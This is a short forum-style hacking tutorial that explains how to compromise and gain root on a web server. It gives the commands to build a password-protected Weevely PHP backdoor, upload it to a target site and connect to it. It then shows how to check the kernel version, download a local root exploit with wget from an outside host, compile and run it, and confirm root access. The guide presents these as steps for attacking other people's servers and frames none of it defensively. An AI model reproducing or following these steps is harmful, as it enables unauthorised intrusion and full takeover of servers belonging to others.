Hi GuYsย
Today we will learn to Root A Server with Weevely ๐
Weevely is a python script to backconnect to the shell and makes the tiniest backdoor to connect ๐
You can google it and Its Mostly used by the people which dont have open ports ๐
So Our Tutorial Starts from here ๐
First of all Open Weevely ๐
Now type “./main.py -g -o /root/Desktop/backdoor.php -p r00T”
By this command it will make a backdoor.php in Desktop with Password: r00T
===========================================================
Now Next Step is to upload our backdoor to the server by shell and then
type “./main.py -t -u http://www.target.com/uploads/backdoor.php -p r00T”ย
and then it will connect to the server ๐
===========================================================
Now We have to find the version of the kernel its using ๐
For Finding that type : “uname -a” and then it will show you the kernel version.
for example my kernel version is 2.6.18 2012 so I will find a local root exploit forย
2.6.18 2012 kernel version ๐
Rooting depends on local root exploits.
===========================================================
We will use “WGET” to download the local root exploit ๐
First change the dir to “tmp”
now type: “cd /tmp/”
and now download exploit ๐
Now type : “wget http://www.exploit.com/2.6.18.c”
and then we have to compile it by this commandย
“gcc 2.6.18.c -o KiDSec”
and then ย it will be compiled ๐
Now chmod 777 KiDSec
By typing ” chmod 777 KiDSec”
===========================================================
Now Just Simply run exploit by typingย
./KiDSec
===========================================================
Y0 Server Rooted !!
Now to check if Server is rooted so type “id”
and then it should sayย
“uid=(root) gid=(root)”
==========================================================
Thanks For Reading My Tutorial ๐
./TR4CK3R